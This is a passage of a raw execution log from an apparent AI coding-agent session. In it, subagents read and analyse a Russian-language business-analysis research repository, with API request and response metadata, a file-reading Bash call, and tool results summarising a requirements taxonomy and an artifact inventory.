\u0412\\n\u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0439 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0422\u0417 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 `M2`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0430\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\\n\u043d\u0435 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0432\u0441\u0435 \u2014 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0412 \u0441\u043b\u043e\u0435\u0432\u043e\u0439 \u043e\u043d\\n\u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0448\u0442\u0430\u0442\u043d\u043e: `M0` \u2014 \u044d\u0442\u043e \u00ab\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0432\u0445\u043e\u0434\u00bb, \u0430 \u043d\u0435 \u00ab\u0441\u044b\u0440\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u00bb, \u0438 \u043a\u043b\u0430\u0441\u0441\\n`IA-2` (\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 baseline) \u0432 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n[`normalization/20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md)\\n\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0422\u0417.\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:48.545Z] [INFO]       }\n[2026-09-29T07:45:48.545Z] [INFO]     ]\n[2026-09-29T07:45:48.545Z] [INFO]   },\n[2026-09-29T07:45:48.545Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"uuid\": \"4a3426f5-5623-408c-8a2f-8d6d44f4eed9\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:48.469Z\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:48.545Z] [INFO] }\n[2026-09-29T07:45:48.551Z] [STDOUT] [log_d041ef] sending request {\n[2026-09-29T07:45:48.555Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:48.558Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.560Z] [STDOUT]   options: {\n[2026-09-29T07:45:48.563Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:48.568Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:48.573Z] [STDOUT]     body: {\n[2026-09-29T07:45:48.581Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:48.592Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:48.596Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:48.601Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:48.604Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:48.608Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:48.615Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:48.629Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:48.640Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:48.655Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:48.659Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:48.665Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:48.670Z] [STDOUT]     },\n[2026-09-29T07:45:48.675Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:48.682Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:48.686Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:48.689Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:48.699Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:48.706Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:48.713Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:48.718Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:48.721Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:48.724Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:48.731Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:48.745Z] [STDOUT]     },\n[2026-09-29T07:45:48.762Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:48.767Z] [STDOUT]   },\n[2026-09-29T07:45:48.770Z] [STDOUT]   headers: {\n[2026-09-29T07:45:48.773Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:48.775Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:48.779Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:48.783Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:48.785Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:48.791Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:48.803Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:48.804Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:48.811Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:48.818Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:48.823Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:48.827Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1562\",\n[2026-09-29T07:45:48.841Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:48.849Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:48.859Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:48.876Z] [STDOUT]     \"x-client-request-id\": \"7322ec6f-e603-49c6-8640-98030b89e23a\",\n[2026-09-29T07:45:48.883Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:48.887Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:48.892Z] [STDOUT]     \"x-stainless-os\": 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\"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:49.566Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:49.571Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:49.576Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:49.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:49.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.586Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:49.595Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:49.599Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:49.605Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:49.609Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:49.615Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:49.624Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:49.628Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.632Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:49.635Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:49.640Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:49.644Z] [STDOUT]     \"cf-ray\": \"a4295ed62cc529ad-FRA\",\n[2026-09-29T07:45:49.650Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:49.653Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:49.659Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:49.663Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:49.666Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:49 GMT\",\n[2026-09-29T07:45:49.670Z] [STDOUT]     \"request-id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:49.674Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:49.683Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:49.690Z] [STDOUT]     traceresponse: \"00-2b2539e84a9c582536c7c47a2cb8e70a-67fb11ad8a9c8f7b-01\",\n[2026-09-29T07:45:49.704Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:49.709Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:49.715Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:49.731Z] [STDOUT]   },\n[2026-09-29T07:45:49.735Z] [STDOUT]   durationMs: 1044,\n[2026-09-29T07:45:49.738Z] [STDOUT] }\n[2026-09-29T07:45:49.744Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:49.751Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:49 GMT\",\n[2026-09-29T07:45:49.754Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:49.758Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:49.764Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:49.769Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:49.772Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:49.778Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:49.783Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:49.820Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:49.830Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:49.836Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:49.840Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:49.844Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:49.848Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:49.852Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:49.858Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:49.863Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.865Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:49.867Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:49.871Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:49.874Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:49.877Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.881Z] [STDOUT]   \"request-id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:49.886Z] [STDOUT]   \"traceresponse\": \"00-2b2539e84a9c582536c7c47a2cb8e70a-67fb11ad8a9c8f7b-01\",\n[2026-09-29T07:45:49.889Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:49.892Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:49.895Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:49.899Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:49.904Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:49.909Z] [STDOUT]   \"cf-ray\": \"a4295ed62cc529ad-FRA\",\n[2026-09-29T07:45:49.913Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:49.917Z] [STDOUT] [log_d041ef] response parsed {\n[2026-09-29T07:45:49.921Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:49.930Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:49.934Z] [STDOUT]   body: X {\n[2026-09-29T07:45:49.952Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:49.956Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:49.962Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:49.967Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:49.974Z] [STDOUT]     },\n[2026-09-29T07:45:49.982Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:49.992Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:49.998Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:50.005Z] [STDOUT]   },\n[2026-09-29T07:45:50.015Z] [STDOUT]   durationMs: 1044,\n[2026-09-29T07:45:50.021Z] [STDOUT] }\n[2026-09-29T07:45:50.761Z] [INFO] {\n[2026-09-29T07:45:50.761Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"message\": {\n[2026-09-29T07:45:50.761Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"id\": \"msg_011CfXMnRbAtdXK3ruYuoxrs\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"content\": [\n[2026-09-29T07:45:50.761Z] [INFO]       {\n[2026-09-29T07:45:50.761Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:50.761Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:50.761Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:50.761Z] [INFO]     ],\n[2026-09-29T07:45:50.761Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:50.761Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_creation_input_tokens\": 10610,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_read_input_tokens\": 67044,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:50.761Z] [INFO]         \"ephemeral_5m_input_tokens\": 10610,\n[2026-09-29T07:45:50.761Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:50.761Z] [INFO]       },\n[2026-09-29T07:45:50.761Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:50.761Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:50.761Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:50.761Z] [INFO]     },\n[2026-09-29T07:45:50.761Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:50.761Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:50.761Z] [INFO]   },\n[2026-09-29T07:45:50.761Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"uuid\": \"dc4a5f1e-1976-4a2a-b0ad-67502f2ad30b\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:50.754Z\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"request_id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:50.761Z] [INFO] }\n[2026-09-29T07:45:50.774Z] [INFO] {\n[2026-09-29T07:45:50.774Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"message\": {\n[2026-09-29T07:45:50.774Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"id\": \"msg_011CfXMnWxPSXtJgyzcf4ADP\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"content\": [\n[2026-09-29T07:45:50.774Z] [INFO]       {\n[2026-09-29T07:45:50.774Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"id\": \"toolu_01QZvcfuPDgDqHAefJ3j3LHK\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"input\": {\n[2026-09-29T07:45:50.774Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '48,100p;136,160p' 2026-09-07-ecosystem-knowledge-inventory.md\",\n[2026-09-29T07:45:50.774Z] [INFO]           \"description\": \"Read inventory sections 1-3, 5.1\"\n[2026-09-29T07:45:50.774Z] [INFO]         },\n[2026-09-29T07:45:50.774Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:50.774Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:50.774Z] [INFO]         }\n[2026-09-29T07:45:50.774Z] [INFO]       }\n[2026-09-29T07:45:50.774Z] [INFO]     ],\n[2026-09-29T07:45:50.774Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:50.774Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_creation_input_tokens\": 1251,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_read_input_tokens\": 70516,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:50.774Z] [INFO]         \"ephemeral_5m_input_tokens\": 1251,\n[2026-09-29T07:45:50.774Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:50.774Z] [INFO]       },\n[2026-09-29T07:45:50.774Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T07:45:50.774Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:50.774Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:50.774Z] [INFO]     },\n[2026-09-29T07:45:50.774Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:50.774Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:50.774Z] [INFO]   },\n[2026-09-29T07:45:50.774Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"uuid\": \"ca7dc325-7849-4b36-8be9-c1600d9074fa\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:50.770Z\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"request_id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:50.774Z] [INFO] }\n[2026-09-29T07:45:50.782Z] [INFO] {\n[2026-09-29T07:45:50.782Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"description\": \"Running Read inventory sections 1-3, 5.1\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:50.782Z] [INFO]     \"total_tokens\": 72052,\n[2026-09-29T07:45:50.782Z] [INFO]     \"tool_uses\": 21,\n[2026-09-29T07:45:50.782Z] [INFO]     \"duration_ms\": 81493\n[2026-09-29T07:45:50.782Z] [INFO]   },\n[2026-09-29T07:45:50.782Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"uuid\": \"c3c98dec-d962-483d-b676-c64cd97bc2bc\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:50.782Z] [INFO] }\n[2026-09-29T07:45:51.967Z] [INFO] {\n[2026-09-29T07:45:51.967Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"message\": {\n[2026-09-29T07:45:51.967Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:51.967Z] [INFO]     \"content\": [\n[2026-09-29T07:45:51.967Z] [INFO]       {\n[2026-09-29T07:45:51.967Z] [INFO]         \"tool_use_id\": \"toolu_01QZvcfuPDgDqHAefJ3j3LHK\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"content\": \"## 1. \u0420\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n**368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f** \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\\n\\n| \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0414\u043e\u043b\u044f | \u0420\u043e\u043b\u044c \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 |\\n| --- | --- | --- | --- |\\n| [`hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab) | 251 | 68 % | \u0425\u0430\u0431: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f |\\n| [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) | 64 | 17 % | \u0421\u043f\u0438\u0446\u0430: \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0411\u0410 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a |\\n| [`clarify-engine-ai`](https://github.com/G-Ivan-A/clarify-engine-ai) | 53 | 14 % | \u0421\u043f\u0438\u0446\u0430: \u0434\u0432\u0438\u0436\u043e\u043a \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (RAG) |\\n\\n## 2. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0412\u0441\u0435\u0433\u043e | \u0425\u0430\u0431 | Mango | Clarify |\\n| --- | --- | --- | --- | --- |\\n| Research | 173 | 163 | \u2014 | 10 |\\n| Standard | 53 | 26 | 19 | 8 |\\n| RFC | 39 | 28 | 11 | \u2014 |\\n| ADR | 37 | 11 | 15 | 11 |\\n| Analysis | 31 | 13 | 7 | 11 |\\n| Audit | 21 | 6 | 9 | 6 |\\n| Backlog | 7 | \u2014 | \u2014 | 7 |\\n| Report | 7 | 4 | 3 | \u2014 |\\n\\n\u0422\u0440\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0438\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u044b, \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438:\\n\\n1. **\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u0432 \u0425\u0430\u0431\u0435** (163 \u0438\u0437 173). \u0421\u043f\u0438\u0446\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u044f (ADR/RFC) \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b, \u043d\u043e \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0433\u043e 